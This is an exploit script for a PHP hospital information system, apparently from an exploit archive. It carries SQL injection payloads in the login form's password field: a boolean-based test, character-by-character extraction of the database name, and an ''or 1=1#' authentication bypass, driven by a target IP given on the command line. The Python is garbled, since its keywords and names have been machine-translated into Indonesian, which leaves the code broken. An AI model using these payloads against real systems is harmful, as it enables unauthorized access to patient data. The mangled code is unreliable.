# Tanggal: 25/07/2022
# Eksploitasi Penulis: saitamang
# Beranda Vendor: https://code-projects.org
# Tautan Perangkat Lunak: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Versi: 1.0
# Diuji pada: Centos 7 Apache2 + MySQL
permintaan impor, string, sys, peringatan, waktu, bersamaan.futures
dari request.packages.urllib3.exceptions impor InsecureRequestWarning
warnings.simplefilter(‘ignore’,InsecureRequestWarning)
nama db=””
req = permintaan.Sesi()
def login (ip, nama pengguna, kata sandi):
target = “http://%s/HIS/includes/users/UsersController.php” %ip
data = {‘type’:’login’,’username’:username,’password’:password}
respon = req.post(target, data=data)
jika ‘berhasil’ di response.text:
mencetak(“[$] Sukses Login dengan kredensial “+nama pengguna+”:”+sandi+””)
kalau tidak:
mencetak(“[$] Gagal Login dengan kredensial “+username+”:”+password+””)
def check_injection():
# perpustakaan inj
test_query0 = “‘atau 1=2#”
test_query1 = “‘atau 1=1#”
target = “http://%s/HIS/includes/users/UsersController.php” %ip
hasil = “”
untuk saya dalam rentang (2):
jika saya==0:
data = {‘type’:’login’,’username’:username,’password’:test_query0}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
jika saya ==1:
data = {‘type’:’login’, ‘username’:username,’password’:test_query1}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
jika hasil = “berhasil”:
mencetak(“[##] SQLI Berbasis Boolean Hadir di bidang kata sandi :)”)
kalau tidak:
mencetak(“[##] Tidak ada SQLI :)”)
def brute (nama db):
target = “http://%s/HIS/includes/users/UsersController.php” %ip
l=0
tidak = [int(a) for a in str(string.digits)]
# memeriksa panjang dbname
untuk saya di no: #0-9
payload = “‘atau 1=1 dan panjang(database())='”+ str(i) +”‘#”
#cetak(muatan)
data = {‘type’:’login’,’username’:username,’password’:payload}
respon = req.post(target, data=data)
hasil = respon.teks
jika hasil = “berhasil”:
mencetak(“[##] Panjang nama DB yang benar adalah “+str(i))
l=i
merusak
kalau tidak:
mencetak(“[##] Panjang nama DB “+str(i)+” salah”)
lulus
arang = [char for char in string.ascii_lowercase]
nama db = []
untuk saya dalam rentang (l):
untuk j di char:
payload = “‘atau 1=1 dan substring(database(),” + str(i+1) + “,1)='” + str(j) +”‘#”
data = {‘type’:’login’,’username’:username,’password’:payload}
respon = req.post(target, data=data)
hasil = respon.teks
jika hasil = “berhasil”:
dbname.append(j)
mencetak(“[+] Karakter ” + str(i+1) + ” dari nama DB adalah “+str(j))
merusak
kalau tidak:
lulus
dbname=””.join(dbname)
mencetak(“[+] Nama database diambil –> “+dbname)
mencetak(“[+] Lewati selesai :)”)
mencetak(“[+] Bypass payload yang bisa digunakan adalah \n’atau 1=1#”)
kata sandi = “‘atau 1=1#”
print(“\nCoba lagi login dengan payload baru di kolom password”)
login (ip, nama pengguna, kata sandi)
jika __name__ == “__main__”:
print(“_____ _ __”)
print(” / _/____ _(_) /_____ _____ ___ ____ _____ ____ _”)
print(” \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/”)
print(” _/ / /_/ / / /_/ /_/ / / / / / /_/ / / / /_/ / “)
print(“/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / “)
print(” /____/ \n\n”)
mencoba:
ip = sys.argv[1].mengupas()
nama pengguna = sys.argv[2].mengupas()
kata sandi = sys.argv[3].mengupas()
login (ip, nama pengguna, kata sandi)
periksa_injeksi()
kasar (nama db)
kecuali IndexError:
mencetak(“[-] Penggunaan %s
mencetak(“[-] Contoh: %s 192.168.100.x admin admin123” % sys.argv[0])
sys.keluar(-1)